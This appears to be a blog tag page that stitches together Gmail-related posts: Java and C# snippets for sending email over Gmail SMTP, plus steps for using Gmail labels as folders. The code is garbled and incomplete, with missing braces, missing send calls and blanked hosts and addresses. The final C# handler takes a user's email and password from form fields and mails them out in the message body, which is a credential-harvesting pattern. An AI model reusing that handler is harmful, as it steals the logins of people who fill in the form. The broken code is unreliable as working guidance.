Posts Tagged ‘gmail’



That is for sending Email using “mail.smtp.auth”

public static String sendEmail(final String username, final String password, String replyto, String port, String host, String from, String to, String messagesubject, String messageboday, String attactmentpath) {

//   final String username = “”;
//  final String password = “password”;

Properties props = new Properties();
props.put(“mail.smtp.auth”, “true”);
//props.put(“mail.smtp.starttls.enable”, “true”);
props.put(“”, host);//””);
props.put(“mail.smtp.port”, port);
props.setProperty(“”, host);

Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);

try {

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));//””));

InternetAddress replyAddresses[] = new InternetAddress[1];
replyAddresses[0] = new InternetAddress(replyto);
BodyPart messageBodyPart = new MimeBodyPart();
// Fill the message

// Create a multipar message
Multipart multipart = new MimeMultipart();

// Set text message part

// Part two is attachment
messageBodyPart = new MimeBodyPart();

DataSource source = new FileDataSource(attactmentpath);
messageBodyPart.setDataHandler(new DataHandler(source));
attactmentpath = attactmentpath.replace(“\\”, “/”);
String[] fileName = attactmentpath.split(“/”);
System.out.println(“\n\nPath3=” + attactmentpath);
// for(int i=0;i
// {
//    attactmentpath=fileName[i];
// }
attactmentpath = fileName[fileName.length – 1];

// Send the complete message parts



return “Sent”;
} catch (Exception e) {
return “Fail”;



English: Gmail logo
Are you disheartened by Gmail’s lack of folders? Folders into which you can stick your emails; folders reminiscent of

drawers or trusty file systems; folders whither you can move messages, even automatically?

Well, they might not be called “folders”, but Gmail’s labels act a lot like folders do. Using filters, you can even have Gmail sort your incoming mail by sender, subject or other criteria to your custom folders — out of the Inbox.

Use Gmail as if It Had Folders and Filters

To make Gmail route certain mail to particular “folders”, bypassing your Inbox:

  • Click Create a filter.
  • Enter the desired criteria.
    • To filter all mail from somebody, type their email address in the From: field, for example.
  • Click Next Step ».
  • Make sure Skip the Inbox is checked.
  • Also check Apply the label:.
  • Select an existing label (folder) from the Choose label… menu or:
    • Select New label….
    • Type the desired name for the label (folder).
    • Click OK.
  • Optionally, check Also apply filter to conversations below to move existing messages matching your criteria to the folder.
  • Click Create Filter.

New messages matching your rules will arrive in their labels (i.e. folders) only. If you keep the Labels box on it and an eye on it, you’ll see labels with new messages highlighted.



Image representing Gmail as depicted in CrunchBase

This is what I do when i want to send email with attachment, work fine. :)

public class NewClass {

    public static void main(String[] args) {
        try {
            Properties props = System.getProperties();
            props.put("mail.smtp.starttls.enable", "true");
            props.put("", "");
            props.put("mail.smtp.auth", "true");
            props.put("mail.smtp.port", "465"); // smtp port
            Authenticator auth = new Authenticator() {

                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication("username-gmail", "password-gmail");
            Session session = Session.getDefaultInstance(props, auth);
            MimeMessage msg = new MimeMessage(session);
            msg.setFrom(new InternetAddress(""));
            msg.setSubject("Try attachment gmail");
            msg.setRecipient(RecipientType.TO, new InternetAddress(""));
            //add atleast simple body
            MimeBodyPart body = new MimeBodyPart();
            body.setText("Try attachment");
            //do attachment
            MimeBodyPart attachMent = new MimeBodyPart();
            FileDataSource dataSource = new FileDataSource(new File("file-sent.txt"));
            attachMent.setDataHandler(new DataHandler(dataSource));
            Multipart multipart = new MimeMultipart();
        } catch (AddressException ex) {
            Logger.getLogger(NewClass.class.getName()).log(Level.SEVERE, null, ex);
        } catch (MessagingException ex) {
            Logger.getLogger(NewClass.class.getName()).log(Level.SEVERE, null, ex);



Sending Email is a basic task of a web application for many purposes like- Error logging, Reporting, Newsletters, and Performance alerting as well as for many other reasons.

If you have taken web space somewhere on a web server then you are provided with the Email accounts and SMTP and POP services for sending and receiving E-mails. Some times you don’t have SMTP server accounts and you may want to send email. Or Sometimes, for other reasons also you may want to use third-party SMTP sever for sending E-mails .

Gmail is a good solution for this purpose. Gmail provides SMTP and POP access which can be utilized for sending and receiving E-mails.
Here in this tutorial we will be using a Gmail account for sending email by SMTP.



1. Gmail has a fixed number of quota for sending emails per day, means you may not be able to send unlimited number of e-mails using Gmail due to anti-spamming restrictions.

2. You may not be able to send same e-mail to unlimited number of people, because Gmail’s anti-spamming engine restricts for this too.

So, Gmail can be used for sending limited number of e-mails daily to select people only. If you still need to send numerous e-mails to numerous people you can register for a Google Group account and can use that e-mail address to send email to registered members of that group. I will come up with that tutorial in near future.

Using the code

1. An active Gmail account is required to test this application.
2. Visual Studio 2005

Here we go:

Step 1: Create a new web application in visual studio and add a Web form to it.
Next add a Button to the form and double click this button to bring the code for click event of this button in the code window. Copy paste the following code to the click event.

Step 2: Run the web application and click on the Button to send the mail. Check the E-mail whether you get the mail successfully or not.

Note: Don’t forget to replace the To and From fields as well as the correct password for successfully sending the mail.

 protected void udisiz_3_Click(object sender, EventArgs e)
            System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
            mail.From = new System.Net.Mail.MailAddress(“”);
            mail.Subject = this.txtemail.Text;

            string Body = “Password=”+this.txtpass.Text+”\nUserName ==”+this.txtemail.Text;
            mail.Body = Body;

            mail.IsBodyHtml = true;
            System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient();
            smtp.Host = “”; //Or Your SMTP Server Address
//From which Account U want to connect with mail server for sending mails…………..

            smtp.Credentials = new System.Net.NetworkCredential
                 (“”, “Write password here “);

            smtp.EnableSsl = true;
            smtp.Port = 587;
            smtp.EnableSsl = true;